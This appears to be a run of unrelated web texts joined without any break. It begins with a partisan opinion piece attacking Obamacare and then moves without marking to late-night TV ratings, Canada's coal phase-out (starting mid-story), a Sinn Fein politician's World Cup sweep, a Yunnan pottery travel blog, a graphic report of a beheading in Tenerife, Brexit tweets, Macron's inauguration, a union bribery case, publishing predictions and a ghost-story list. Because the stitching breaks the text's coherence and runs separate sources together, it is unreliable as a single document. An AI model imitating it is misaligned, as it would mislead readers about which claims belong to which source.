By Victor Thorn
Beginning in January, approximately 34 million more people will find themselves newly insured under Barack Obama’s Affordable Care Act (ACA). Half of these individuals will be placed on Medicaid, while the remainder should expect to navigate their way through what are called “exchanges.” These exchanges are, in essence, marketplaces established in different regions of the country by the federal government, states, or a combination therein. Supposedly, consumers will be able to shop for the best healthcare plan that suits their needs.
Since these exchanges play such a vital role in the success of Obamacare, it’s unnerving when Sally Pipes, President of the Pacific Research Institute—a non-profit think tank that espouses limited government—wrote on May 27 for Forbes magazine, “An Obamacare train wreck isn’t a distant possibility. It’s actively happening. Delays, wasteful spending and cost overruns have already popped up.”
To better understand these exchanges, on May 29 AMERICAN FREE PRESS spoke with Jane Orient, M.D., a board certified doctor since 1977 and managing editor for the Journal of American Physicians and Surgeons.
When asked about these exchanges, Orient replied, “Nobody understands them, even the people setting them up. They’re complex, high-risk, and you can’t have competition if the government dictates everything.”
In terms of what she envisions for 2014, Orient explained, “The purpose of Obamacare is to hammer the medical system we now have and do away with the patient-physician arrangement. Doctors will eventually be turned into employees of huge medical institutions. My biggest worry is that people won’t be able to see doctors, not to mention rising insurance premiums. Ultimately, socialized medicine will destroy private enterprise. It’s a redistribution of wealth where certain people will be robbed to pay for others in high risk categories.”
These aren’t the only costs that will increase. On May 29 AFP interviewed Nick Kasprak, an analyst for the Tax Foundation, a non-partisan research group based in Washington, D.C. Kasprak commented on what he foresaw. “Anyone that says they know exactly how Obamacare will unfold is making things up.”
He continued, “One thing is certain: there will be lots of hidden taxes. Most people won’t see excise taxes or medical device taxes directly in their paychecks, but it will raise the cost of medical care. In this regard, it obviously undermines transparency.”
Another result of Obamacare is already being felt. Namely, not only do Americans pay more for healthcare than anywhere else in the world, they’re also getting gouged by astronomical increases in insurance premiums.
On May 30 this writer contacted a small business owner in Pittsburgh, Pennsylvania, to discuss this subject. He told AFP, “Last September my medical insurance rose 44% compared to the previous year. But that’s not the worst part. An executive from Highmark Blue Cross told me, ‘This is the tip of the iceberg. You’re not going to believe where this is going next.’”
Confusing matters even more are a couple of other factors. First, Health and Human Services Director Kathleen Sebelius admitted on April 8 that upwards of 24 million Americans will have to surrender their current insurance policies. Even if they’re able to retain their coverage, according to a May 15 press release by Representative Dave Camp (R-Mich.), Chairman of the the House Ways and Means Committee: “Obamacare will require American job creators, families and healthcare providers to spend over 190 million hours per year on compliance.”
Considering this huge burden on our collective time, Dr. Orient offered her opinion. “Obamacare is a total political game. It should be obvious to anyone paying attention that it will be disastrous, and sadly, medical care will become less available and accessible.”
Four Big Unions Pulling Support for Obamacare
Once staunch advocates, unions see Obamacare as a huge disaster
Once his most ardent supports, four unions touting millions of members have publicly voiced their displeasure with Obamacare. These unions include the International Brotherhood of Teamsters (IBT), the United Food and Commercial Workers International Union (UFCW), UNITE HERE, and the United Union of Roofers, Waterproofers and Allied Workers.
The most vocal critic has been UFCW President Joseph T. Hansen, who took issue with Obama’s 2009 pledge to the AFL-CIO in Pittsburgh where he vowed, “Nothing in this plan will require you or your employer to change your coverage.”
Hansen sees it differently. On May 21 he complained, “the president’s statement to labor in 2009 is simply not true for millions of workers. You can’t have the same quality healthcare that we had before, despite what the president said.”
The crux of this controversy entails the fact that the lead-up to Obamacare has caused already high insurance premiums to soar even more. As a consequence, many employers will simply not be able to afford these rate hikes, leading them to either offer less expensive insurance plans or dump workers into Affordable Care Act exchanges.
For decades, unions have always used top-notch healthcare benefits as a bargaining chip. But if Obamacare’ takes precedence by providing a substandard alternative, unions will have lost one of their biggest draws in attracting new members. With decreased dues, this could further accelerate the decline of organized labor.
Moreover, in a few years Obamacare won’t allow companies to enjoy tax subsidies for their expensive Cadillac healthcare plans. Thus, businesses will be stripped of any incentive to fork over valuable dollars for these benefits packages. In addition, due to prohibitions against discriminating in favor of one group over another, Obamacare can’t give union constituencies the special breaks they’re demanding.
One point becomes crystal clear in this debate: If Obamacare exchanges were so appealing, why are millions of union members objecting so vehemently to being included in them? If they don’t want any part of these exchanges, shouldn’t that be an indicator to the rest of America?
Employers Cannot Afford Obama Plan
Few statements could better exemplify the predicament that Obamacare has placed American workers in than one uttered on April 11 by Bernie Marcus, co-founder of Home Depot.
“If employees are thrown out of their medical plans,” Marcus observed, “where they’re covered in a good plan, [and] if they don’t stay as full-time employees but go to part-time, they’re going to be destroyed. People have to understand that the villain is not their employer. The villain is the U.S. government. Obamacare is the capper. That’s the bullet to the temple.”
The impetus for these remarks revolves around a huge loophole in the ACA. Specifically, if employers don’t provide healthcare for their employees, they’ll be forced to pay a $2K fine per worker. But there are two exceptions: first, the cut-off line for these mandates is 50 employees, while full-time status is defined as 30 hours or more per week.
So, to avoid penalties, employers with less than 50 workers likely won’t expand, whereas entities such as restaurants, hotels and fast food outlets will keep new hires below 30 hours per week.
In a May 2 letter to his employees, Michael Ortner, president of the software company Capterra, Inc., said that healthcare costs now constitute his company’s third highest expense. The situation is even more dire in California. On May 30, healthcare policy adviser Avik Roy revealed what citizens under the age of 40 should expect. “California announced that the ACA would increase non-group insurance premiums by as much as 146%.”
If this figure sounds outrageous, on December 18, 2012, Mark Bertolini, CEO of insurance giant Aetna, disclosed, “We’re going to see some markets go up by as much as 100%.”
The last thing a sluggish economy that has stagnated for at least half-a-decade needs is another job killer. Still, on May 30, U.S. Representative Tim Walberg (R-Mich.) cited none other than our nation’s most powerful financial institution. “A report from the Federal Reserve shows business owners cited Obamacare as their main reason for planned layoffs and reluctance to hire more staff.”
Will IRS Derail Obamacare
With expected costs of Obamacare soaring into the trillions, an increasing number of citizens are disgruntled about being forced, under penalty of law, to purchase a service that they don’t want. As if Obamacare’s negatives weren’t already bad enough, reams of evidence prove that IRS officials engaged in political profiling against enemies that has its precedent in the Nixon administration. Democrats and Republicans alike are demanding: do we really want this heavy-handed tax agency to be the enforcement arm of the Affordable Care Act?
Dan Weber, president of the Association of Mature American Citizens, says no. On May 17 he stated, “[Obamacare] gives the IRS new, unfettered access to sensitive medical records. It’s a pretty scary thought considering the revelations of misconduct. You’ve got to ask yourself this question: do we want the IRS to be in control of our medical histories?”
Considering that many of the IRS culprits have actually received promotions and six-figure bonuses for their treacherous snooping activities and harassment, it’s also unnerving that IRS Commissioner Douglas Shulman visited the White House 157 times during Obama’s first term. His predecessor, Mark Everson, only ventured to the White House once over the same four-year period.
Does anyone realistically believe that the Obama administration took a “hands off” approach to IRS pit bulls that targeted pro-life groups, small businesses, religious organizations, the tea party, and members of the media?
On May 20 freelance journalist John Lillpop put the IRS matter into perspective. “Americans are paying hundreds of billions of dollars each year to fund a corrupt, biased, lying gaggle of unaccountable accountants and bean counters whose sole mission in life is to intimidate and harm American citizens.”
While “The Late Show with Stephen Colbert” attracted more total viewers for the 12th straight week — widening its lead last week over its NBC rival — NBC’s “The Tonight Show Starring Jimmy Fallon,” for the week ended April 21, widened its lead in the demographic favored by advertisers.
So the younger 18-to-49 demo appears to be turning away from Colbert’s anti-Trump-centric show while older viewers are still tuning in the CBS show.
Fallon’s 0.64 rating in the demo beat Colbert’s 0.45 rating by 42 percent. This gave “Tonight” its biggest demo win since the week ended Jan. 13.
As for total viewers, Colbert’s average of 2.83 million exceeded Fallon’s average of 2.59 million by 9 percent.
The demo victory by “Tonight” — the largest margin since the inauguration — indicated to some TV experts that politics, as satirized by Colbert, was losing its appeal for the under-50 set.
Yet Colbert’s political barbs continue to attract older viewers to a degree that suggests late-night viewing may be bifurcating by age group.
But Nova Scotia has received an exemption to continue its use beyond that deadline under a so-called "equivalency agreement."
In announcing the plan today, federal Environment Minister Catherine McKenna said about 80 per cent of Canada's electricity currently comes from clean sources such as hydroelectric power, nuclear, wind and solar. The goal is to make 90 per cent of electric power generation free of greenhouse gas emissions by 2030.
"This will help build a more sustainable future, and it is also a great economic opportunity," she said during a news conference in Ottawa.
The plan accelerates the current timetable for the four provinces that still burn coal for electricity — Alberta, Saskatchewan, Nova Scotia and New Brunswick — to either capture carbon emissions, adopt technology or shut down the plants.
McKenna said the plan will reduce greenhouse gas emissions by five megatonnes a year, the equivalent of getting 1.3 million cars off the road, but she provided few details on how the accelerated phase-out will be achieved.
Reducing pollution from coal will also reduce smog-related illnesses, such as asthma, that affect children and seniors, McKenna said.
"The early phase-out will significantly improve the quality of our air and the health of Canadians," she said.
The announcement comes in advance of a first ministers meeting with the provinces in early December to hammer out a broader climate-change plan.
McKenna said the plan will be flexible to allow each province to craft its own solutions.
According to McKenna's office, the plan will:
Ensure all traditional coal-fired units will be required to meet stringent performance standard of 420 tonnes of carbon dioxide per gigawatt hour by no later than 2030.
Develop performance standards for new units to ensure they are built using efficient technology.
Allow equivalency agreements with the provinces, which means federal regulations would stand down and the provincial regime would apply if it delivers an equivalent environmental outcome.
More time for Nova Scotia
This afternoon McKenna joined Nova Scotia Premier Stephen McNeil to announce the province will phase in a cap-and-trade system to reduce greenhouse gas emissions. Under an "equivalency agreement," Nova Scotia will have more time to phase out coal-fired electricity.
McNeil said the extension, which does not set a specific time frame, recognizes the province's past efforts to find alternatives to coal-fired electricity and propel new projects such as hydroelectricity and wind power.
"This agreement allows us to use that time wisely to get us to a point where we can get off coal while at the same time not putting a sticker shock on power bills in this province," he said.
McKenna said the agreement also recognizes that this is "a period of transition" to position Canada as a leader in green energy.
"We recognize you have to be smart about this; that you have to find solutions that ensure people still have jobs, that we need to position for the future," she said.
Last month, Nova Scotia Environment Minister Margaret Miller walked out early from a national meeting on carbon pricing in Montreal, just hours after Prime Minister Justin Trudeau issued an ultimatum to provinces to adopt carbon pricing, or have it imposed, by 2018.
Miller and colleagues from Saskatchewan and Newfoundland and Labrador left the meeting with McKenna before a planned photo opportunity and news conference.
Although Nova Scotia appears to have worked out its differences with the federal government, an angry Saskatchewan Premier Brad Wall said today's announcement marks the second time Ottawa has made a major policy announcement in advance of next month's climate change meeting.
He said that violates the spirit of a promised partnership approach.
'Disingenuous' collaboration commitment
"These actions have severely undermined the December meeting and have exposed the prime minister's disingenuous commitment to federal-provincial collaboration," Wall said in a statement.
Saskatchewan Premier Brad Wall is upset the federal government announced a plan to phase out coal-powered electricity by 2030 before a first ministers' meeting on climate change next month. (Adam Hunter/CBC)
He said Saskatchewan will evaluate the environmental and economic impact of the announcement on the province, but will continue to "strongly oppose" any attempt to impose a federal carbon tax. Saskatchewan will not support any agreement at the December meeting unless the proposed federal carbon tax is withdrawn," he said.
Alberta Environment Minister Shannon Phillips said Saskatchewan's monopoly is much different from her province's deregulated electricity market. She said Alberta is well ahead of other jurisdictions in phasing out coal, which costs the province $300 million a year in related health-care costs.
"We don't expect this will change much for us because we've already set the parameters of our policy," she said.
McKenna's coal phase-out announcement came just two hours before a group of 15 health and environmental groups were scheduled to hold a news conference on a report called Out with the Coal, In with the New that outlines the benefits of an accelerated phase-out of coal-fired power.
Its analysis says the 2030 phase-out will more than double the benefits compared with the existing 2012 federal regulation. The report — a joint effort from groups including the Pembina Institute, David Suzuki Foundation and Canadian Public Health Association — says the acceleration will avoid 1,008 premature deaths, 871 emergency room visits, and other health-care and lower-productivity costs pegged at nearly $5 billion between 2015 and 2035.
Schedule, targets required
Erin Flanagan, federal policy director for the Pembina Institute, welcomed the federal announcement but said it must be accompanied by a regulatory framework and a schedule of targets to measure progress.
"The transition to clean energy and away from fossil fuels is a clear requirement for long-term climate success," she said.
Ian Culbert, executive director of the Canadian Public Health Association, said "coal kills," and questioned why any province would resist a policy change that would reduce health-care costs.
"Any province that isn't interested in an accelerated coal phase-out really isn't interested in preserving the health of its citizens," he said.
There are now 34 coal plants in operation, according to the report. Another is located in Brandon, Man., but is designated by law as an emergency plant and is not in regular use.
While coal-fired power generation in Canada was reduced by half between 2000 and 2014, coal is still burned to generate 11 per cent of Canada's electricity. It remains the primary source of electricity in Alberta, Saskatchewan, and Nova Scotia.
Canada has maintained steady coal production in recent years, largely through exports, but a decrease in demand from countries such as China has halted production in some Canadian coal mines.
Deputy First Minister Martin McGuinness has admitted to facing a dilemma over this month's World Cup finals.
The Sinn Fein MLA said he would like to see the "Orange men from Holland win," but he drew England in his £5 office sweep at Stormont.
Asked which team he intended supporting, he said he was "gobsmacked" at picking England from the hat.
"I've tweeted that out to the public and it has gone viral, all over the place," he said.
'Monetary gain'
"I'm absolutely gobsmacked at the fact that I drew out England in the office draw at the OFMDFM.
"People are asking if I'm going to support England. Of course, they're asking that in the context of monetary gain.
"But I'm a purist when it comes to sport. I've always thought it would be great if the Dutch could win the World Cup, not just because they wear orange, but because they have some very, very fantastic footballers.
After long 9hours bus ride from Kunming we get to Jinhong late evening very tired and leaving Dai Tao search for tomorrow. Next morning we are wandering around the local tea shops and asking about Dai pottery but not getting any valuable information, but woman at the reception in our hotel directing us to the Gao Zhuan village.
The new build ( around 2010 ) village designed in something like Thai style, annually attracts millions of tourists. As we learned later, last spring festival 100 000 people passed trough the main gate in one single day which puts this place in category 5A ( 5 star ) tourist spot same as Lijian, Shi Lin ( stone forest ) , Yellow mountain ,Great Wall or concert of Pink Floyd 1994 in Prague ( I just remember that one:-).
We got a recommendation for the shop located on street which was build purely for vendors and its not in fully operating yet.
The shop is full of pottery but not much related to tea ceremony. Only simple gaiwans without any decoration and just 2 would worth to think of and they are defected anyway . The other are either not interesting or have a tourist price tag- 80-100$
Even if they have free rent there ( as we told by seller , that the local government supports ethnic culture ) , the prices of products are not even close to what we can afford for our shop.
Their workshop is located downstairs and as it appears , for the moment they have just one master. Few students ( monks ) learning how to make the pottery including the teapots.
After few hours of drinking tea with seller and trying to negotiating reasonable price we are giving up on this shop and going back to the asking locals mode , which leads us to the small Dai village called Mang Zhang located just an hour away from Jing Hong. We are taking a bus next morning with all bags planning to stay overnight.
Passing the main gate is already obvious that this please has been “turistified”. Restaurants, street signs pointing to different activities like pottery craft, Dai paper craft or local clothes / dress. ( I know , hard to believe it without the tourists on the pictures )
Dai pottery ( slow wheel ) made on hand rotating stand is available in first restaurant for trial. For 10CNY u can try and another 10CNY can take product away.
I cant resist and try to make a Dai paper which we sell for wrapping pu-erh tea cakes.Process is very simple but smashing boiled tree bark with wooden hammer, requires a bit of energy alright!
It needs to be separated in as small as possible strings which are mixed with water after and turned into the fluffy kind of estate. Portions of that fluffy mug is applied on the flat square strainer sink into the water pool and bark bits spread evenly all over.
Then just slowly lift the strainer up, water will come trough out and let it dry on the sun. Quite a fun for 10CNY. But still , the fact that lady says from which angle my wife should take a picture and framed photo of her with some foreign family who came on holiday last year with kids, doesn’t make me feel being in authentic village but just in another cultural zoo:-( Although must say is not that bad as the previous Gao Zhuan.
After buying a small pack of tea from local grannie ( actually not bad sheng pu ) , we are waking around the village searching for the pottery. Still can’t find what we need and from seeing the output of locals I believe they just stared / re-started recently for the tourist purposes.
We were lucky be there before weekend , because apart of the regular accommodation i Dai house ( not the classic one ) , you can also rent a caravan, but that will cost you more than renting 3 rooms in that village.
Am I surprised that Saturday is all booked out?
Anyway, I must say we had a very nice day there , good noodles for 6CNY and wonderful rest in hammock in hot afternoon, but we still haven’t got what we came for:-(
Second attempt and failure again. I’m about to give up , but on the way back we have chat with local grannie and she finally point us to the right direction.
We are going to another village were we meet the real pottery makers. Small company run by local family who managed to make apart of the traditional big size pottery also decent gaiwans and other small thing which will suit for the tea ceremony.
They have a very small manufacture at the back of the shop with few workers and nice wooden hut in made as a presentation room.
Except regular gas kiln firing the traditional way on wood is still available.
When we are talking to the owner of the shop one of the workers brings us tea and smiling at us all the time without saying any word. What we learn later , she is The Master …… The person who is behind of most of the art in their workshop.
Yu Feng , the real Dai Tao pottery master.
Feng’s family inherited and preserved technique from their ancestors and at the moment she is the only one real Dai Tao master in China. Since childhood she started learning how to make pottery from her mother. Not as another kind of teapot/ Pottery master，she wasn’t making potteries very often for commercial purposes , most of the time she was just teaching students who were interested to learn the ancient Dai Tao slow wheel technique.
Long time ago , there were many Dai villages making the pottery their daily life use. The interesting thing is , that only women were allowed to transmitted the Dai Tao pottery skill ，and only men were allowed to learn Dai characters and pass that experience to other men. When time goes by , the ancient technique of making pottery almost disappeared.
We took few pieces for try , see if our customers like it and we hope to cooperate with them more.
Dai Tao Pottery in Yunnan Craft shop.
YunnanCraft.com
The British woman stabbed and beheaded in a shop on the Spanish island of Tenerife has been named by her family as 60-year-old Jennifer Mills-Westley.
Her daughter Sarah said she was "full of life, generous of heart and would do anything for anyone".
She said her mother was enjoying her retirement, travelling between Tenerife and France and visiting her other daughter in Norfolk.
Spanish media said a Bulgarian man, 28, was arrested in Los Cristianos.
Witnesses said a man entered a Chinese supermarket in a shopping centre and stabbed then beheaded her, before dropping the head outside.
He appeared to choose his victim at random, according to a local official.
Ms Mills-Westley's daughter Sarah said: "Mum retired a number of years ago and was fully enjoying her retirement travelling between Tenerife and France where she spent time visiting her daughter and grandchildren, and her other daughter in Norfolk.
"She was full of life, generous of heart, would do anything for anyone.
"We now have to find a way of living without her love and light and we would ask at this difficult time for some privacy as we try to come to terms with our loss."
'Incredibly well-respected'
Ms Mills-Westley, a grandmother of five from Norwich, retired to Tenerife after working as a road safety officer at Norfolk County Council.
Leader of the council Derrick Murphy said the news was "absolutely devastating" for those who used to work with her.
"We offer our sincere and deepest sympathies to Jenny's friends and family, in particularly her two daughters and five grandchildren," he said.
"As you can imagine, the terrible news obviously has come as a great shock to us... she was an incredibly well-respected member of the staff."
Ms Mills-Westley's former neighbour, Stella Watts, said she was a "kind, lovely lady" who used to take her to hospital to visit her sick partner.
Local officials have been analysing CCTV footage of the attack which shows a man walking into the supermarket - which sells Chinese food and tourist souvenirs.
Witnesses said the man attacked the woman without saying a word.
"Apparently this gentleman without any motive or any reason... entered the shop and then cut this woman's neck and took the head in his hand outside," said local councillor Manuel Reveron.
A security guard then managed to wrestle the man to the ground, he said.
"I parked my car and saw a man running out with something bloody in his hands and a security guard chasing him," one witness was quoted as telling local radio.
Media playback is unsupported on your device Media caption Eyewitness Colin Kirby describes the aftermath of the attack in Tenerife
"He threw it to the ground, it almost hit me and what he had been carrying was a woman's head."
In a video posted on YouTube, Colin Kirby of Tenerifemagazine.com said security guards held down the suspect until the police arrived.
"The security and the police had to hold people off - they were queuing up - they were trying basically to kick the hell out of the guy," he said.
Christina Perez, a legal representative at a nearby court, said she and her colleagues ran indoors for safety.
Psychiatric unit
"Everybody is shocked. It's a very safe area. You can usually go anywhere you want in the day or at night. This is really not normal."
Police sources told Spanish media the suspect had a police record.
Dominica Fernandez, of the Regional Interior Ministry, said the attack appeared to be random and that the suspect was well known in the area.
Regional newspaper La Opinion said the suspect had received treatment at the psychiatric unit of a local hospital in February after being involved in previous violent incidents.
The BBC's Maddy Savage said this kind of violence was extremely rare in the Canary Islands which attract more than 10 million tourists each year.
A Foreign Office spokesman said: "We are in touch with the next of kin and are providing consular assistance.
SEE ALSO: The UK votes to leave the European Union in historic referendum
While those who voted to leave are happy with the result, not everyone shares their enthusiasm.
Indeed, many Brits have decided that the referendum results are a bridge too far, and it's time for them to pack their bags and (Br)exit the U.K. itself.
One person's decision to move is based entirely on... erm... chocolate:
Others feel that moving to EU member states would be embarrassing. Fair enough.
Moving to Canada. Was thinking of moving to the EU but too embarrassed. — Gareth David-Lloyd (@Pancheers) June 24, 2016
Some aren't too sure which country they can move to now:
First conversation at work this morning:
"Morning."
"Morning."
"So, which country are you moving to?"#EURefResults — Matthew Green (@mjgreen145) June 24, 2016
And others are waiting on the outcome of the US Presidential election before they make any decisions:
just told my mum that as long as trump isn't president I'm moving to America and her response was "alright we will come with you" alright b — Vodka (@pizzlarrr) June 24, 2016
But, some have already made up their minds where they're going to.
Moving to America — Krish (@kharamelkay) June 24, 2016
I'm moving to Bermuda — Fonz (@i_amfonzie) June 24, 2016
I hate this country I'm moving to France — Han (@fabuloushannahh) June 24, 2016
moving to Australia seems cool right now. I mean, flights over there should be the same price as a loaf of bread in the morning so alls good — connor (@connorbroccoli) June 24, 2016
waking up to discover that leave is winning the EU referendum 😊 love it 😊 i'm moving to australia 😊 goodbye 😊 — megan (@meganwiIderspin) June 24, 2016
One person thinks that Shire life is the way forward now:
That's settled then, forget the degree. I'm moving to New Zealand to become a Hobbit and embrace the Shire life 🌳🍃 — timmins (@letimmins) June 24, 2016
And Disclosure is contemplating a move to a different planet:
Moving to Mars with Bowie — Disclosure (@disclosure) June 24, 2016
Paris (AFP) - Emmanuel Macron became France's youngest ever president on Sunday, promising at his inauguration to restore the country's lost confidence and relaunch the flagging European Union.
Macron, a 39-year-old centrist, took the reins of power from Socialist Francois Hollande at the Elysee Palace a week after his resounding victory over far-right leader Marine Le Pen in an election that was watched worldwide.
After a private meeting with his former mentor Hollande and his first speech as president, Macron headed up the rainy Champs Elysees in an army vehicle, waving to small crowds of wellwishers who gathered along the famed avenue.
Macron said his first priority would be "to give back to the French people the confidence that for too long has been flagging".
"I will convince our compatriots that France's power is not in decline, but that we are at the dawn of an extraordinary renaissance because we have all the qualities which will make... the great powers of the 21st century," he said.
While France's place was in the European Union "which protects us and enables us to project our values in the world," the 28-member bloc needed to be "reformed and relaunched", the president said.
Macron also suggested he would press on with his ambitious agenda to reform France's rigid labour market and modernise the social security system despite the fierce resistance he is likely to meet.
Some analysts and opponents have questioned the strength of Macron's mandate after he won just 24.01 percent in the first round of the presidential election on April 23 before his landslide victory over Le Pen in the second.
His rivals on the far-right and far-left, opposed to the EU and major economic reforms, won around 50 percent of the first-round vote.
- A man of his time? -
The former investment banker was proclaimed president by Laurent Fabius, president of the Constitutional Council, at the 18th-century presidential palace in central Paris where Macron and his wife Brigitte will now live.
Brigitte, a 64-year-old who was his high school drama teacher, wore a light blue Louis Vuitton outfit for the ceremony.
Her three children from her previous marriage were also present along with VIPs from France's political scene and the young team of advisors behind Macron's sensational rise.
Security was tight, with around 1,500 police officers deployed near the presidential palace and on the Champs Elysees, and surrounding roads blocked off.
At the end of the formalities, a 21-gun salute rang out from the Invalides military hospital on the other side of the River Seine.
Macron then headed to a hospital outside Paris where soldiers wounded in military operations are treated.
He later visited the capital's town hall for the traditional visit made by each new president to his "host city".
There he promised to "campaign fully" in the bid by Paris to host the 2024 Olympics, which he said was exactly the kind of event to boost national optimism.
"The challenge of the next five years will be to prevent our country from falling apart," he said.
The new president faces a host of daunting challenges including tackling stubbornly high unemployment, fighting Islamist-inspired violence and healing divisions exposed by an often vicious election campaign.
Hollande's five years in power were plagued by a sluggish economy and bloody terror attacks that killed more than 230 people. He leaves office after a single term.
- Prime minister, then Merkel -
Macron's first week will be busy. On Monday, he will name his prime minister, rumoured to be Edouard Philippe, a conservative MP and mayor of the northern port city of Le Havre.
Macron will then fly to Berlin to meet German Chancellor Angela Merkel, maintaining a French presidential tradition of making the first European trip to the other half of the EU's power couple.
The new French leader wants to push for closer cooperation to help the bloc overcome the imminent departure of Britain.
He also intends to press for the creation of a parliament and budget for the eurozone.
Merkel welcomed Macron's victory over Le Pen, saying he carried "the hopes of millions of French people and also many in Germany and across Europe".
Further ahead, Macron will need to win a majority in parliamentary elections in June to enact his ambitious reform agenda.
His 13-month-old political movement "Republique en Marche" (Republic on the Move, REM) intends to field candidates in virtually every constituency in the country.
An Oakland labor union official has been charged in federal court with accepting bribes or kickbacks in exchange for helping marijuana dispensary operators, court records show. Daniel Rush, 54, organizing coordinator of the cannabis division of the United Food and Commercial Workers union, was charged this week in U.S. District Court in Oakland with honest-services fraud and accepting payments in violation of the Taft-Hartley Act, which restricts the activities and power of labor unions. He is free on $100,000 bond. Rush has been fired from the union, said spokeswoman Amber Sparks.
Lucky for him he was able to make that $100K bond so quickly. The Workforce Fairness Institute was quick to point out that new union ambush election laws have given the union access to unprecedented amounts of personal information on both workers and employers which makes shenanigans like this all the more easy for those who want to fatten their wallets.
“UFCW is a union that has access to personal employee contact information, thanks to the new NLRB Ambush election rules—which is worrisome since coercion and intimidation are alive and well with unions. We need laws that will protect employees, employers, and their personal information—not make it easy for them to be harassed,” said Heather Greenaway, spokesperson for Workforce Fairness Institute (WFI).
In theory it would be nice to shrug our shoulders and say that this was just one bad apple and every organization is going to have some from time to time. And just to be clear, that’s absolutely true. But it’s also true that the unions have a bit too much history to play this off as some sort of aberration when the they essentially make their living by extracting money from workers and then using that cash to pay for the election of political candidates rather than seeing to the needs of their workers. (Can you imagine if workers with legitimate complaints against an employer went on strike and their unions had saved all that money and were able to pay their salaries and cover all of their health care and other benefits while they were out of work? It would almost make you believe in the unions again.)
The thing is, while I think these are solid predictions and will probably be more accurate than our predictions from last year (which have turned out to be really accurate -- but more on that in the new year), it doesn't really scratch my personal itch for making predictions. These, of course, are the predictions of experts that I merely filtered and compiled. When do I get to make predictions?
Right...about...now:
1. Goodreads becomes a bookseller.
This one is a bit more than a prediction. I have spoke with three sources familiar with the matter (though none of them are at the company) that have given me credible background on the matter: Goodreads, the massive social network dedicated to books and readers, will turn into a bookseller in 2013. When I asked founder and CEO Otis Chandler about it earlier this year, he said "not yet." When I approached the company with my information and asked for comment, a spokesperson told me, "We don't comment on rumors or speculation."
Fair enough and time will tell but let's think about this for a second. Why not?
The company has more than 12 million registered users who are all there for books and reading -- they share book recommendations, find out about new titles and build massive lists of books they intend to buy and read. It already drives a lot of book sales at partner retailers through affiliate links. And it has great relationships with publishers (aka, suppliers) that it can leverage to build stock. So, why wouldn't the company try to sell books?
Well, for one, it's risky. Goodreads would likely be giving up its affiliate revenue to go after this and what if people don't buy? Second, it doesn't currently sell an e-reading device, so for ebooks, at least, it needs to sell through an app (and give a cut to Apple or Google) or sell files that users will upload to another device. Not a great user experience, though some booksellers are doing it (unless it sold or gave away an e-reading device -- not so far-fetched as the costs of those devices approach $0). And on the print side, there are a lot of logistics issues the company would have to solve.
That said, it's happening, folks. So get ready for a bookseller born of the social media era in 2013.
2. Ebook marketplace gets dynamic and goes beyond discounting.
Book-industry insiders have been privately talking amongst themselves about how the end of agency pricing for the major publishers (the end of their ability to limit discounting by retailers, basically -- and slightly inaccurately, but fine) means the end of Barnes & Noble and every other Amazon competitor in the ebook space. The thinking is that Amazon will discount everything as much as it can, driving smaller players that can't afford to discount as much out of business.
First, I don't think this will happen. The most important factor for each of the major ebook retailers at this point is getting their devices into the hands of consumers. An owner of a Nook e-reader is likely buying her books on that device. So, as long as each of the retailers can continue to sell devices, they will continue to sell ebooks to the readers who use those devices. The bad news on that front is that e-readers are becoming less popular among consumers.
Second, I think the removal of discounting restrictions could be good for some of the smaller players in the marketplace. They can get creative with what they do with retail. It's already happening. Barnes & Noble has a program going in the days leading up to Christmas where in-store shoppers who buy an ebook from a pre-selected list can gift an ebook from that list to someone else. Translation: Barnes & Noble is giving away ebooks. That's a creative retail strategy. From short-term giveaways, to bundles to all sorts of creative deals, we're going to see this market get very interesting in 2013.
3. Major publishers will form back-list marketing divisions.
I have no direct knowledge of this happening, but how can it not?
Let's engage in a thought experiment. You are a $1 billion book publisher. You derive 40% of your revenue from back-list sales. That's $400 million. While at this point probably most of that comes from print books you see in stores and online -- perennially popular paperbacks -- some of it is ebooks and, in fact, more of it should be ebooks because delivering the electronic file of an old book doesn't involve hunting down a copy somewhere or printing it on demand. As more people read ebooks, more people will read back-list ebooks. You spend probably less than 1% of your, say, $100 million marketing budget on marketing your back-list.
Do you think it's reasonable to ask your chief marketing officer to come up with a plan to grow that revenue by 1% ($4 million) next year? Say, by investing about $1 to $1.5 million on a small team of five people with a small advertising spend? Large publishing companies have back-lists of thousands or even tens of thousands of books that they can sell as print-on-demand books or electronically. Some of the books are tied to holiday seasons. Some are about people who are in and out of the news. Some are about things like World War II that are always popular topics for books, especially in December, for instance.
I think in 2013 publishers are going to figure out how to profitably market their back-list titles.
I'll check back with you in a year to see how I did with these. In the meantime, check out the predictions the experts made here.
Electric Literature Blocked Unblock Follow Following Oct 24, 2014
by Rebecca Meacham
What makes a ghost story “American”? Let’s ask a ghost: “An American ghost does something quite different, because the people of the present are very mobile, the executives are constantly thrown from city to city, dragging their families with them.” In other words, says the narrator of Anne Sexton’s “The Ghost,” American ghosts belong to people, not places.
It’s a theory, anyway. It’s hard to argue with a ghost.
What’s certain is the power of these short stories, which fret the strings of human connection. Some tales are terrifying, others absurd. And like good (American?) ghosts, this devil’s dozen will stay with you long after you’ve turned the page.
Our Spirits, Ourselves. “We are here to prepare for not being here.”
“Po’ Sandy” by Charles Chesnutt (from The Conjure Woman and Other Conjure Tales)
Sandy and Tenie yearn to stay together like any married couple. But they’re slaves, and Master Marrabo “lends” Sandy to other plantations and sells off his family. So, Conjure Woman Tenie turns Sandy into a tree. Then Master Marrabo wants lumber. Sandy is chopped and built into a kitchen, where the grief-wracked Tenie dies. Harrowing, yes — but this story is subversive, too: Uncle Julius, a former slave, is telling Sandy’s story to a Northern couple who’ve bought the crumbling plantation. And while “Po’ Sandy” looks like an “Uncle Remus” story, its message is chilling: no one can dwell in a house that slavery has built.
“The Farm. The Gold. The Lily-White Hands” by Dan Chaon (from Stay Awake)
Chaon is the master of modern unease. His characters chafe against domestic duty until they detach, lash out, or vanish. In this story, even words disappear from the page as three sisters wonder about the night their father tried to kill them. Are they ghosts? Are they dreaming their future as they wait for the gunshot? “Reader, do not ask me who at this very moment is dreaming you,” Chaon writes, tightening the clench.
“The Country” by Joy Williams (from Tin House Volume 15, No. 3, “Memory”)
Why Are We Here? This is the topic of the group meetings Williams’ lonely, irritable narrator attends, but comprehension lies beyond him. He returns to his young son, Colson, who channels the voices of the narrator’s dead parents. The streets overspill with garbage; at home, Colson is unwashed, the stove is dusty. This world needs looking after.Is the narrator here or not here? Like the narrator, all we want, most urgently, is to know.
The Dead Wives Club. “He saw me — at last, at last, he saw me!”
“The Moonlit Road” by Ambrose Bierce (from The Complete Short Stories of Ambrose Bierce)
